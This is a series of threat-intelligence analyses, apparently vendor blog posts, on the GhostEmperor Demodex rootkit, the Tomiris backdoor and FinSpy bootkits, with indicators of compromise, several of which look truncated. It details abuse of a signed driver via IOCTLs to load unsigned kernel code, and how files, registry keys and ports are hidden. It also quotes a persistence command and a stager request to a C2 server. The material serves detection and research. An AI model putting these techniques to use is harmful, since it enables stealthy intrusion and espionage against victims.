In addition to the last stage payload, the core component is also capable of deploying a Windows kernel mode driver on the system. The purpose of this driver is to serve as a rootkit that conceals malware artefacts such as files, registry keys and network traffic, thus gaining stealth and ability to avoid detection by security products and forensic investigators. The upcoming sections elaborate on how this driver is deployed (namely how it bypasses Windows mitigations, given that it’s not digitally signed) and what particular features it provides to the user mode malicious implant.

Overview of the GhostEmperor infection chain

Rootkit loading analysis

On modern 64-bit Windows operating systems, it is generally not possible to load an unsigned driver in a documented way due to the Driver Signature Enforcement mechanism introduced by Microsoft. For this reason, attackers have abused vulnerabilities in signed drivers to allow execution of unsigned code to kernel space. A typical approach1 taken by many actors to date, and mostly in older versions of Windows, is to disable the Code Integrity mechanism by switching the nt!g_CiEnabled flag that resides within the CI.DLL kernel module after getting write and execution primitives via vulnerable signed drivers. After shutting down the Code Integrity mechanism, an unsigned driver can be loaded.

This approach was limited by Microsoft with the introduction of Kernel Patch Protection (a.k.a PatchGuard). This mechanism protects modification of specific data structures in the Windows kernel memory space, including the nt!g_CiEnabled flag. For this reason, the modification of this flag can now cause an invocation of a BSOD. This can be tackled by quickly setting the flag value, loading an unsigned driver and switching it back to the previous state before PatchGuard identifies a change, though this still introduces a race condition that can crash the system.

The approach used by the developer of this rootkit allows loading an unsigned driver without modifying the Code Integrity image and dealing with a potential crash. It abuses features of a legitimate and open-source2 signed driver named dbk64.sys which is shipped along with Cheat Engine, an application created to bypass video game protections and introduce cheats into them. This driver provides capability to write and execute code in kernel space by design, thus allowing it to run arbitrary code in kernel mode.

After dropping the dbk64.sys driver with a randomly generated filename to disk and loading it, the malware issues documented3 IOCTLs to the driver that allow shellcode to be run in kernel space through the following sequence of actions:

  • First, a memory buffer is allocated in the kernel space non-paged pool by issuing IOCTL_CE_ALLOCATEMEM_NONPAGED.
  • A successfully allocated memory buffer will be then shared between the user mode malware process and kernel address spaces using a direct I/O approach, whereby the kernel mode buffer’s address is mapped to a different address in user space. This is achieved by locking the buffer’s pages in physical memory so that they cannot be paged out (which is possible since they are allocated in the non-paged pool) following which an MDL for the buffer is created and a call to the MmMapLockedPagesSpecifyCache API function is made. All of this is implemented in the handler of IOCTL_CE_MAP_MEMORY.
  • At this point the malware can access the buffer in user mode through the provided pointer from the previous IOCTL and write to it. The written data will in turn be reflected in the same buffer in kernel space. This is used to write the shellcode into the buffer.
  • After the writing is done, the buffer is unmapped from user space by issuing IOCTL_CE_UNMAP_MEMORY.
  • The written shellcode now resides only in kernel space and can be run by issuing IOCTL_CE_EXECUTE_CODE.

The purpose of the shellcode is to replace the dbk64.sys IOCTL dispatcher with an alternative one that in turn allows the loading of an unsigned driver. The alternative dispatcher is also implemented as position-independent code and is bundled with the shellcode. To replace the original dispatcher, the shellcode maps the code of the new dispatcher in memory and patches the pointer to the IRP_MJ_DEVICE_CONTROL routine in the dbk64.sys driver object. At this point, the IRP_MJ_DEVICE_CONTROL pointer is set to the new dispatcher’s address and any IOCTL issued to the driver will pass through it.


The alternative dispatcher provides the same core capabilities as the original one, with the addition of a few that allow it to load a new driver to kernel space. The functionality that makes it possible to achieve this goal is exposed through a set of IOCTL handlers that are called in succession, finally leading to the load of the malware’s kernel mode rootkit. Below is a table of these IOCTLs with descriptions, arranged in the order they are invoked by the malware’s user mode logic in charge of deploying the rootkit.

IOCTL Code Description 0x220180 Processes a buffer provided by the user mode malware component by verifying its size is 272 bytes and then decodes it by negating its bytes. This IOCTL is in fact not invoked by the user mode code. 0x220184 Allocates a buffer in kernel space, locks its pages, creates an MDL and maps the buffer to a user mode address using the MmMapLockedPagesSpecifyCache API. This is essentially equivalent to the chaining of functionalities in IOCTL_CE_ALLOCATEMEM_NONPAGED and IOCTL_CE_MAP_MEMORY from the original dispatcher.
After this call, the user mode code has access to a kernel mode buffer and can write to it using a pointer in user mode, as was the case for writing the shellcode. This time, however, the malware manually loads the rootkit’s PE image into the allocated buffer. 0x2201B4 Since the malware’s user mode code is in charge of loading the rootkit’s image manually in IOCTL 0x220184, it has to resolve some function addresses in kernel space that appear as dependencies in the image’s Import Address Table. This IOCTL allows the function names to be received from user space as strings, retrieving their address with the MmGetSystemRoutineAddress API and providing it back to the user mode code. The latter places the resolved address in the corresponding IAT entry of the loaded image. 0x220188 Unmaps the address of the kernel mode buffer from user space so it’s only accessible through its kernel mode pointer. 0x2201B8 Creates a new driver object using the IoCreateDriver function, assigning the driver initialization function pointer to a position-independent stub that is delivered with the shellcode and, once invoked, calls the loaded rootkit’s DriverEntry function.

It is worth mentioning that the malware’s service makes use of a Cheat Engine utility called kernelmoduleuloader.exe (MD5: 96F5312281777E9CC912D5B2D09E6132) during the loading of the dbk64.sys driver. The driver is dropped along with the utility and a .sig file, with the latter being used as a means of authenticating the component calling dbk64.sys by conveying a digital signature that is associated with its binary.

As the malware is not a component of Cheat Engine, it runs kernelmoduleunloader.exe as a new process and injects it with a small shellcode that merely opens a handle to the dbk64.sys device with the CreateFileW API. The value of the handle is written as the second QWORD in the injected buffer, read by the malware’s process and gets duplicated using the DuplicateHandle API. From this point on, the malware’s service can call the driver as if it was a signed Cheat Engine component.

An outline of the rootkit’s loading phases

Demodex rootkit functionality

The loaded rootkit, which we dubbed Demodex, serves the purpose of hiding several artefacts of the malware’s service. This is achieved through a set of IOCTLs exposed by the rootkit’s driver that are in turn called by the service’s user mode code, each disguising a particular malicious artefact. To access the rootkit’s functionality, the malware ought to obtain a handle to the corresponding device object, after which the following IOCTLs are available for further use:

  • 0x220204: Receives an argument with the PID of the svchost.exe process which runs the code of the malicious service and stores it within a global variable. This variable is used by other IOCTLs later on.
  • 0x220224: Initializes global variables that are later used to hold data such as the aforementioned svchost.exe PID, the name of the malware’s service, the path to the malware’s DLL and a network port.
  • 0x220300: Hides the malware’s service from a list within the services.exe process address space. The service’s name is passed as an argument to the IOCTL, in turn being sought in a system-maintained linked list. The corresponding entry is being unlinked, thus hiding the service from being easily detected. The logic in this handler is reminiscent of the technique outlined here.
  • 0x220304: This IOCTL is used to register a file system filter driver’s notification routine by using the IoRegisterFSRegistrationChange API. The notification routine invoked upon registration of a new file system verifies if it is an NTFS-based one and if so, creates a device object for the rootkit which is attached to the subject file system’s device stack. Additionally, both the file system’s device object and the associated rootkit device object are registered in a global list maintained by the rootkit’s driver. Subsequent attempts to retrieve information from, access or modify the file will fail and generate error codes such as STATUS_NO_MORE_FILES or STATUS_NO_SUCH_FILE.
  • 0x220308: Hides TCP connections that make use of ports within a given range from utilities that list them, such as netstat. This is done through a known4 method whereby the IOCTL dispatch routine of the NSI proxy driver is hooked and the completion routine is set to one that inspects the port of a given connection. If the underlying connection’s port falls within the given range, its entry is removed from the system’s TCP table. The two ports that constitute the range are passed as arguments to the IOCTL.
  • 0x22030C: Hides malware-related registry keys by hooking several registry operations through the CmRegisterCallback API. The registered callback checks the type of operation and acts according to the following logic:
    • For operations of the type RegNtPostEnumerateKey or RegNtPostEnumerateValueKey (enumeration of a key or subkey) it verifies if there is an attempt to enumerate the driver related key under HKLM\SYSTEM\ControlSet0**\Services\<malware_service_name> and if so, sets the return status of the operation to STATUS_NO_MORE_ENTRIES in order to indicate there is no data to provide for the requested enumeration.
    • For operations of the type RegNtPreOpenKeyEx (attempt to open a key) on SOFTWARE\Microsoft\{EAAB20A7-9B68-4185-A447-7E4D21621943} it clears all the driver’s internal global variables, which is equivalent to resetting its operation. That’s because this key is used by the malware’s uninstaller PowerShell script, mentioned in previous sections.
    • For any attempt to change a key under HKLM\MACHINE\SYSTEM via an operation with code RegNtPreSaveKey or lower, it sets that return status to the application error 0xC0000043.

Interestingly, the pointer passed to CmRegisterCallback does not contain the direct address of the function handling the logic above, but instead an address at the end of the executable section of the pci.sys driver’s image, which is originally filled with zeros as a means to align the section in memory. Before passing the callback pointer to CmRegisterCallback, such a section is sought within the pci.sys driver and the corresponding bytes within it are patched so as to invoke the call to the actual callback handling the above logic, as outlined below. This allows all intercepted registry operations to appear as if they are handled by code that originates in the legit pci.sys driver.

Code used to patch a section in the pci.sys image in memory in order to write it with a short shellcode stub that jumps into a registry inspection callback

It is worth mentioning that the Demodex rootkit supports Windows 10 by design, and indeed appears to work according to our tests on Windows 10 builds. This is evident in the driver’s code in multiple places where different flows of the code are taken based on the underlying operating system’s version. In such checks it is possible to observe that some flows correspond to the latest builds of Windows 10, as outlined in the code snippet below.

Obfuscation and anti-analysis methods

The authors of the malware components used in the GhostEmperor cluster of activity have made some development choices that have implications on the forensic analysis process. To demonstrate some of the hurdles that investigators face, we will limit the discussion to two common analysis tools – WinDbg and Volatility. Other tools may encounter similar drawbacks when dealing with the implants in question.

First, due to the way Demodex is loaded, its driver is not properly enlisted in WinDbg along with other system modules that are loaded in a documented way. That said, it is still possible to find the rootkit’s driver object by referring to its name (\driver\dump_audio_codec0), thus being able to list its associated device objects as well:

Driver object name listed in WinDBG

Similarly, when trying to list system modules with the Volatility3 widows.driverscan module, the Demodex driver is absent from the output. However, the framework does indicate that an anomaly is detected in the process of scanning the kernel’s memory space in search for the driver:

Anomaly while listing the Demodex driver with the windows.driverscan Volatility3 module

In addition, the malware authors have made a deliberate choice to remove all PE headers from memory-loaded images in both the third stage of the malware and the rootkit’s driver. This is done by either introducing the image with a zeroed-out header to begin with (as is the case in the third stage) and relying on a custom loader to prepare it for execution or by replacing the header of the image after its loaded with the 0x00 value, as is the case with the rootkit’s driver.  From a forensic perspective, this impedes the process of identifying PE images loaded to memory by searching for their headers.

As mentioned in previous sections, the developers implemented a trampoline within the pci.sys legitimate driver in order to mask the source of callbacks that are invoked for registry-related operations. Thus, analysts that try to track such callbacks may miss out on some because they will appear to be benign calls. As demonstrated in the WinDbg listing of the Cm* callbacks below, one of them is associated with the symbol pci!ArbLibraryDeinitialize+0xa4; however, if we look at the code at the same address we can see that it is in fact a small piece of shellcode emitted by the rootkit in order to jump to the actual malicious callback that hides the malware’s registry keys.

Listing of Cm* callbacks and shellcode found within a seemingly benign code invoked from the pci.sys driver

Apart from the above, the developers introduced more standard methods of obfuscation that typically slow the static analysis of the code and are evident across multiple malware components. An example of this is a pattern of string obfuscation whereby each string is decoded with a set of predefined arithmetic and logic operations, such that different operands (e.g., shift offsets) are chosen for each string. This suggests that each string is obfuscated during compilation and that the authors have established a form of SDK that aids in uniquely obfuscating each sample during build time.

String decoding logic used to obtain clear-text strings from hardcoded blobs through a set of arithmetic and logic operations

Similarly, it is possible to observe multiple instances of API call obfuscation in the code. This is done by replacing inline calls to API functions with other stub functions that build the requested API name as a stack string, resolve it using GetProcAddress and call it while passing the arguments provided in a special struct to the stub function. The struct has a bigger size than required to pass the argument data, and most of it is filled with junk, such that only particular fields have meaningful data that gets encoded before being passed to the stub. Those fields get decoded within the stub function and in turn passed to the API function.

Example of a stub used for API call obfuscation

It is worth noting that as in the case of string obfuscation, each stub is uniquely built and makes use of an argument struct of a different size where the fields that are occupied with actual argument data are chosen at random. The order in which the stack string is initialized is also random and each stub function is used only once as a replacement for a single inline API function call. In other words, the same API function used in different places in the code will have different stubs for each place with different argument structs. This reinforces the observation that the authors were using a designated obfuscation SDK in which the API call obfuscation is yet another feature.

Finally, it is possible to see that some variants appeared in both obfuscated and non-obfuscated form. For example, we managed to view the C++ version of the second stage loader in two forms – one form that has no obfuscation at all and another that is heavily obfuscated (MD5: 18BE25AB5592329858965BEDFCC105AF). In the figure below we can see the same function in the two variants: one has the original flow of the code as produced by a compiler without obfuscation, while the other has its control flow flattened to the point where it is impossible to track the order of actions.

Example of the same function used in two variants of the second stage loader; one is non-obfuscated and the other’s control flow was flattened

Post-exploitation toolset

Once the attackers gain access to the compromised systems through the aforementioned infection chain, they use a mix of legitimate and open-source offensive toolsets to harvest user credentials and pivot to other systems in the network. This includes common utilities from the Sysinternals suite used to control processes (e.g., PsExec, PsList and ProcDump), as well as other tools like WinRAR, CertUtil and BITSAdmin. As for open-source tools, the attackers used tools such as mimkat_ssp, Get-PassHashes.ps1, Token.exe and Ladon. Internal network reconnaissance and communication is often carried out by NBTscan and Powercat.

A more comprehensive outline of these tools along with the actual command lines used by the threat actor to operate them can be found in the supplementary technical document.

Network infrastructure

For C2 communication, the attackers registered domains whose names appear to have been randomly generated, potentially not to attract any attention to the malicious traffic. GhostEmperor mainly used hosting services based in Hong Kong and South Korea, such as Daou Technology or Anchent Asia Limited.

  • newlylab[.]com
  • reclubpress[.]com
  • webdignusdata[.]com
  • freedecrease[.]com
  • aftercould[.]com
  • datacentreonline[.]com
  • newfreepre[.]com

We also observed additional IP addresses used for downloading some of the malicious samples, or for C2 communication by the in-memory implant:

  • 223.135[.]214
  • 148.165[.]158
  • 102.114[.]55
  • 102.113[.]57
  • 102.113[.]240
Who were the targets?

The majority of GhostEmperor’s victims were government entities and telecommunication companies in South East Asia, with multiple high-profile entities targeted in Malaysia, Thailand, Vietnam and Indonesia. We also observed additional victims of a similar nature from countries such as Egypt, Ethiopia and Afghanistan. Even though the latter cluster of victims belongs to a different region from the one in which we saw GhostEmperor to be highly active, we noticed that some of the organizations within it have strong ties with countries in South East Asia. This means that the attackers might have leveraged those infections to spy on the activities in countries that are of geopolitical interest to them.

Who is behind the attacks?

We attribute this activity to a formerly unknown Chinese-speaking threat actor. This is due to the fact that the attackers made use of open-source tools such as Ladon or Mimikat_ssp that are popular among such actors, with additional data points such as version info found within the resource section of second stage loader binaries that included a legal trademark field with a Chinese character: ‘Windows庐 is a registered trademark of Microsoft Corporation.’

Version info of loader binary with a Chinese character

On the same note, we observed that one of the decryption keys provided in a command line by the attackers and used to decode the first stage PowerShell scripts was ‘wudi520’. Looking it up in publicly available sources led us to a GitHub account under the same name. Although we cannot confirm this account is indeed connected to the GhostEmperor attackers, it has forked multiple code repositories with descriptions in Chinese or that are otherwise authored by Chinese-speaking developers.

“wudi520” GitHub account

In addition, we noticed some similarities between the features of Demodex and those of the Derusbi rootkit, which was publicly described in the past and also attributed to a Chinese-speaking actor. The purpose of both is to hide malicious artefacts, where notably both have an almost identical flow for hiding TCP connections by hooking the nsiproxy.sys IOCTL dispatcher. The implementation of this filtering in the Demodex sample we analyzed is nearly identical to one seen in an older Derusbi sample (MD5: 24E9870973CEA42E6FAF705B14208E52) to the point that both use the same device control code for this action and receive an IOCTL input of the same size. That said, it is worth noting that while Derusbi used a hardcoded range of 1025 to 1777 for the targeted ports to hide, Demodex allows for an arbitrary range that can be configured by the attackers through the user mode malware.

Comparison of a similar IOCTL in the Demodex and Derusbi rootkits

It is worth noting that in one of the victim systems we observed two instances of malicious samples being dropped via a web shell. One led to the initiation of an infection chain consisting of the first stage PowerShell dropper and second stage .NET service DLL, and another was a drop of two binaries5 of the Netbot malware, formerly seen being used6 by the Lucky Mouse group. Though we cannot attest to the fact that the very same web shell was used to drop both files, the proximity of events which occurred in the course of two days, may suggest that underlying actor indeed deployed both samples and that it has a possible connection to the Lucky Mouse group, whether through shared development resources or reused tools.


GhostEmperor is an example of an advanced threat actor that goes after prominent targets and aims to maintain a long standing and persistent operation within their environments. We observed that the underlying actor managed to remain under the radar for months, all the while demonstrating a finesse when it came to developing the malicious toolkit, a profound understanding of an investigator’s mindset and the ability to counter forensic analysis in various ways.

Additionally, while rootkits are generally considered a deprecated method of attack, this case and other recent ones show that with a creative approach they can still be leveraged to gain a considerable level of stealth. As we have seen, the attackers conducted the required level of research to make the Demodex rootkit fully functional on Windows 10, allowing it to load through documented features of a third-party signed and benign driver. This suggests that rootkits still need to be taken into account as a TTP during investigations and that advanced threat actors, such as the one behind GhostEmperor, are willing to continue making use of them in future campaigns.

Indicators of compromise Stage 1 – PowerShell Dropper

012862165EC105A44FEA14FACE53492F – u_ex200822.ps1

Stage 2 – Service DLL

6A44FDD66AB841C33949620666CA847A – RAudioUniConfig.dll

1BC301AA9B861F762CE5F376228E992A – svchosts.exe

Stage 4

0BBFBA106FBB9E310330DC87C32CB6D1 – Payload DLL
6685323C61D8EDB4A6E35796AF34D626 – Remote Desktop Control DLL


BE38D173E4E9118BDC2E83FD5F90BE3B – kekeo.exe
F078AC9B012C503D35254AF9629D3B67 – debugall.vbs



File paths


PDB paths


Service name and DLL path

MsMp4Hw – C:\Windows\System32\msmp4dec.dll
Msdecode – C:\ProgramData\Microsoft\Network\Connections\msdecode.dll
AuthSvc – C:\Windows\System32\AuthSvc.dll

Registry keys for encrypted buffer


Domains and IPs



1 This approach is well documented and demonstrated in the DSEFix public repository: https://github.com/hfiref0x/DSEFix

2 The source code of the driver can be found on GitHub.

3 They are outlined in the IOPLDispatcher.c source code within the Cheat Engines repository.

4 A technique similar to the one observed in the Demodex rootkit is outlined in this code: https://github.com/bowlofstew/rootkit.com/blob/master/cardmagic/PortHidDemo_Vista.c

5 Those binaries had the MD5s: 145FF08E736693D522F8A09C8D3405D6, 7A162C26D56B0C55E6CD81CD953F510B

6 https://securelist.com/ksb-2019-review-of-the-year/95394/, detailed analysis of the Netbot malware as part of Lucky Mouse campaigns is available to customers of our APT reporting service.

DarkHalo after SolarWinds: the Tomiris connection

29 Září, 2021 - 16:45


In December 2020, news of the SolarWinds incident took the world by storm. While supply-chain attacks were already a documented attack vector leveraged by a number of APT actors, this specific campaign stood out due to the extreme carefulness of the attackers and the high-profile nature of their victims. It is believed that when FireEye discovered the first traces of the campaign, the threat actor (DarkHalo aka Nobelium) had already been working on it for over a year. Evidence gathered so far indicates that DarkHalo spent six months inside OrionIT’s networks to perfect their attack and make sure that their tampering of the build chain wouldn’t cause any adverse effects.

The first malicious update was pushed to SolarWinds users in March 2020, and it contained a malware named Sunburst. We can only assume that DarkHalo leveraged this access to collect intelligence until the day they were discovered. The following timeline sums up the different steps of the campaign:

Kaspersky’s GReAT team also investigated this supply-chain attack, and released two blog posts about it:

In March 2021, FireEye and Microsoft released additional information about the second-stage malware used during the campaign, Sunshuttle (aka GoldMax). Later in May 2021, Microsoft also attributed spear-phishing campaign impersonating a US-based organization to Nobelium. But by then the trail had already gone cold: DarkHalo had long since ceased operations, and no subsequent attacks were ever linked to them.

DNS hijacking

Later this year, in June, our internal systems found traces of a successful DNS hijacking affecting several government zones of a CIS member state. These incidents occurred during short periods in December 2020 and January 2021 and allowed the malicious threat actor to redirect traffic from government mail servers to machines they controlled.

Zone Period during which the authoritative servers were malicious Hijacked domains mfa.*** December 22-23, 2020 and
January 13-14, 2021 mail.mfa.***
kk.mfa.*** invest.*** December 28, 2020 to January 13, 2021 mail.invest.*** fiu.*** December 29, 2020 to January 14, 2021 mx1.fiu.***
mail.fiu.*** infocom.*** January 13-14, 2021 mail.infocom.***

During these time frames, the authoritative DNS servers for the zones above were switched to attacker-controlled resolvers. These hijacks were for the most part relatively brief and appear to have primarily targeted the mail servers of the affected organizations. We do not know how the threat actor was able to achieve this, but we assume they somehow obtained credentials to the control panel of the registrar used by the victims.

While the malicious redirections were active, visitors were directed to webmail login pages that mimicked the original ones. Due to the fact that the attackers controlled the various domain names they were hijacking, they were able to obtain legitimate SSL certificates from Let’s Encrypt for all these fake pages, making it very difficult for non-educated visitors to notice the attack – after all, they were connecting to the usual URL and landed on a secure page.

Malicious webmail login page set up by the attackers

In all likelihood, any credentials typed in such webpages were harvested by the attackers and reused in subsequent stages of the attack. In some cases, they also added a message on the page to trick the user into installing a malicious “security update”. In the screenshot above, the text reads: “to continue working with the email service, you need to install a security update: download the update”.

The link leads to an executable file which is a downloader for a previously unknown malware family that we now know as Tomiris.


Tomiris is a backdoor written in Go whose role is to continuously query its C2 server for executables to download and execute on the victim system. Before performing any operations, it sleeps for at least nine minutes in a possible attempt to defeat sandbox-based analysis systems. It establishes persistence with scheduled tasks by creating and running a batch file containing the following command:

SCHTASKS /CREATE /SC DAILY /TN StartDVL /TR "[path to self]" /ST 10:00

The C2 server address is not embedded directly inside Tomiris: instead, it connects to a signalization server that provides the URL and port to which the backdoor should connect. Then Tomiris sends GET requests to that URL until the C2 server responds with a JSON object of the following structure:

{"filename": "[filename]", "args": "[arguments]", "file": "[base64-encoded executable]"}

This object describes an executable that is dropped on the victim machine and run with the provided arguments. This feature and the fact that Tomiris has no capability beyond downloading more tools indicates there are additional pieces to this toolset, but unfortunately we have so far been unable to recover them.

We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc.) to the C2.

Finally, some small clues found during this investigation indicate with low confidence that the authors of Tomiris could be Russian-speaking.

The Tomiris connection

While analyzing Tomiris, we noticed a number of similarities with the Sunshuttle malware discussed above:

  • Both malware families were developed in Go, with optional UPX packing.
  • The same separator (“|”) is used in the configuration file to separate elements.
  • In the two families, the same encryption/obfuscation scheme is used to encode configuration files and communicate with the C2 server.
  • According to Microsoft’s report, Sunshuttle relied on scheduled tasks for persistence as well.
  • Both families comparably rely on randomness:
    • Sunshuttle randomizes its referrer and decoy URLs used to generate benign traffic. It also sleeps 5-10 seconds (by default) between each request.
    • Tomiris adds a random delay (0-2 seconds or 0-30 seconds depending on the context) to the base time it sleeps at various times during the execution. It also contains a list of target folders to drop downloaded executables, from which the program chooses at random.
    • Tomiris and Sunshuttle both gratuitously reseed the RNG with the output of Now() before each call.
  • Both malware families regularly sleep during their execution to avoid generating too much network activity.
  • The general workflow of the two programs, in particular the way features are distributed into functions, feel similar enough that this analyst feels they could be indicative of shared development practices. An example of this is how the main loop of the program is transferred to a new goroutine when the preparation steps are complete, while the main thread remains mostly inactive forever.
  • English mistakes were found in both the Tomiris (“isRunned”) and Sunshuttle (“EXECED” instead of “executed”) strings.

None of these items, taken individually, is enough to link Tomiris and Sunshuttle with sufficient confidence. We freely admit that a number of these data points could be accidental, but still feel that taken together they at least suggest the possibility of common authorship or shared development practices.

A final piece of circumstantial evidence we would like to present is the discovery that other machines in a network infected with Tomiris were infected with the Kazuar backdoor. Unfortunately, the available data doesn’t allow us to determine whether one of the malicious programs leads to the deployment of the other, or if they originate from two independent incidents.

The next diagram sums up the weak links we were able to uncover between the three malware families mentioned in this article:

In the end, a number of clues hint at links between Sunburst, Kazuar and Tomiris, but it feel like we’re still missing one piece of evidence that would allow us to attribute them all to a single threat actor. We would like to conclude this segment by addressing the possibility of a false flag attack: it could be argued that due to the high-profile nature of Sunshuttle, other threat actors could have purposefully tried to reproduce its design in order to mislead analysts. The earliest Tomiris sample we are aware of appeared in February 2021, one month before Sunshuttle was revealed to the world. While it is possible that other APTs were aware of the existence of this tool at this time, we feel it is unlikely they would try to imitate it before it was even disclosed. A much likelier (but yet unconfirmed) hypothesis is that Sunshuttle’s authors started developing Tomiris around December 2020 when the SolarWinds operation was discovered, as a replacement for their burned toolset.


If our guess that Tomiris and Sunshuttle are connected is correct, it would shed new light on the way threat actors rebuild capacities after being caught. We would like to encourage the threat intelligence community to reproduce this research, and provide second opinions about the similarities we discovered between Sunshuttle and Tomiris. In order to bootstrap efforts, Kaspersky is pleased to announce a free update to our Targeted Malware Reverse Engineering class, featuring a whole new track dedicated to reverse engineering Go malware and using Sunshuttle as an example. The first two parts are also available on YouTube:



For more information about Tomiris, subscribe to our private reporting services: intelreports@kaspersky.com

Indicators of compromise

Tomiris Downloader


Tomiris staging server

Tomiris signalization server

Tomiris C2

Tomiris build path

FinSpy: unseen findings

28 Září, 2021 - 16:45

FinSpy, also known as FinFisher or Wingbird, is an infamous surveillance toolset. Kaspersky has been tracking deployments of this spyware since 2011. Historically, its Windows implant was distributed through a single-stage installer. This version was detected and researched several times up to 2018. Since that year, we observed a decreasing detection rate of FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated downloader. We were unable to cluster those packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan.

Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in this article for the first time.

We decided to share some of our unseen findings about the actual state of FinSpy implants. We will cover not only the version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and code similarities.

The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal.

Contact: intelreports@kaspersky.com

UEFI infection

During our research, we found a UEFI bootkit that was loading FinSpy. All machines infected with the UEFI bootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one. When the UEFI transfers execution to the malicious loader, it first locates the original Windows Boot Manager. It is stored inside the efi\microsoft\boot\en-us\ directory, with the name consisting of hexadecimal characters. This directory contains two more files: the Winlogon Injector and the Trojan Loader. Both of them are encrypted with RC4. The decryption key is the EFI system partition GUID, which differs from one machine to another.

Sample contents of the \efi\microsoft\boot\en-us\ directory

Once the original bootloader is located, it is loaded into memory, patched and launched. The patched launcher:

  • Patches the function of the OS loader that transfers execution to the kernel
  • The patched function hooks the kernel’s PsCreateSystemThread function, which, when called for the first time, creates an additional thread that decrypts the next loader stage and launches it.

The next stage:

  • Locates the Trojan loader file on the EFI partition and decrypts it
  • Waits until a user logs on and injects the Trojan loader into exe.

The Trojan loader:

  • Extracts the Trojan from resources and drops it under the name dll
  • Decrypts the Trojan with a XOR-based cipher and unpacks it with aPLib
  • Reflectively loads and launches the Trojan.
MBR infection

Older machines that do not support UEFI can be infected through the MBR. When the victim machine starts up, the infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available memory located before the EBDA1. This code hooks the 13h and 15h BIOS interrupts and then launches the original MBR. The 15h interrupt makes sure that the Windows loader does not overwrite the copied code. When this interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available memory. As for the 13h interrupt hook (which manages reading information from disk), it patches the OS loader when it is read from disk. Just as in the case with the EFI infection, the hooked functions place their own hooks on further OS loading stages. The last hook in the chain creates a thread in the kernel that injects the next stage into winlogon.exe.

In case the infection is installed on a 32-bit machine, the process of injecting code into winlogon.exe is more complex than the one observed in the UEFI infection. It is as follows:

  • A thread with trampoline shellcode is created inside exe.
  • This shellcode duplicates the exe process handle and transfers it to explorer.exe.
  • The shellcode injects another trampoline shellcode in Explorer.
  • The second shellcode makes exe inject the Trojan loader back into winlogon.exe.

This roundabout way of injecting code is intended to trick security solutions.

The injected Trojan loader is the same as the UEFI one.

User Mode Infection Overview

This infection is by far the most complex. In short, the attack scenario is as follows:

  • The victim downloads a Trojanized application and executes it.
  • During its normal course of operation the application connects to a C2 server, downloads and then launches a non-persistent component called the Pre-Validator. The Pre-Validator ensures that the victim machine is not used for malware analysis.
  • The Pre-Validator downloads Security Shellcodes from the C2 server and executes them. In total, it deploys more than 30 shellcodes. Each shellcode collects specific system information (e.g. the current process name) and uploads it back to the server.
  • In case a check fails, the C2 server terminates the infection process. Otherwise, it continues sending shellcodes.
  • If all security checks pass, the server provides a component that we call the Post-Validator. It is a persistent implant likely used to ensure that the victim is the intended one. The Post-Validator collects information that allows it to identify the victim machine (running processes, recently opened documents, screenshots) and sends it to a C2 server specified in its configuration.
  • Depending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection.

Overview of the user mode infection

Trojanized applications

Throughout our research, we identified numerous legitimate applications backdoored with FinSpy. Examples include software installers (e.g. TeamViewer, VLC Media Player, WinRAR) as well as portable applications.

All observed backdoored application samples have their original digital signature. It is invalid, which indicates that the application has been patched. While the entry point function of the application looks clear, inspection of the executable’s PE file sections does reveal anomalies: the backdoored application has its last section (.rsrc on the screenshot below) expanded by 51 KB.

Sections of the original (left) and backdoored (right) application

Apart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code, with the original application code placed in the expanded last section.

When the backdoored application launches, it runs as normal, i.e. the inserted obfuscated code does not impact the application workflow. At some point the application executes a jump instruction that redirects execution to the obfuscated trampoline in the .text section. This instruction appears to be placed randomly in the code. For example, a call to the CreateWindowExW function has been replaced:

The original (left) and patched (right) code of the backdoored application

This trampoline is protected with an obfuscator that we dubbed FinSpy Mutator. It launches a code that:

  • Decrypts and launches a slightly modified Metasploit Reverse HTTPS stager. The decryption procedure:
    • Is obfuscated with FinSpy Mutator
    • Involves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager
    • Is different in every backdoored installer.
  • Restores the code in the .text section that was overwritten with the malicious code (recall that the original code is saved in the resource section)
  • Resolves relocations in the restored code
  • Restores the instruction that has been overwritten with a jump
  • Jumps to the restored instruction, thus resuming the execution of the original application.

The Metasploit stager connects to a configured C2 server using HTTPS for communication. In the case of 5EDF9810355DE986EAD251B297856F38, the stager sends the following GET request to the C2 server:

GET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--k6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Host: 45[.]86[.]136[.]138 Connection: Keep-Alive Cache-Control: no-cache

The C2 server replies with a component that we called the Pre-Validator in response to the GET request. The Metasploit stager launches it.

The Pre-Validator

The Pre-Validator is a shellcode obfuscated with FinSpy Mutator. On startup, it:

  • Hooks the NtTerminateProcess and ExitProcess functions to make sure the Pre-Validator continues working if the backdoored application is closed. The hooked functions close all the application’s windows but do not terminate its process.
  • Makes an initial POST request to the C2 server. Example of the request URL: https://45[.]86[.]163[.]138/blog/index.asp?attachmentid=a46dee635db8017962741f99f1849471&d=5d7e89e6b4874d0df95141bd923556f8 (all parts of this URL vary between samples). All communications between the server are encrypted with RC4.

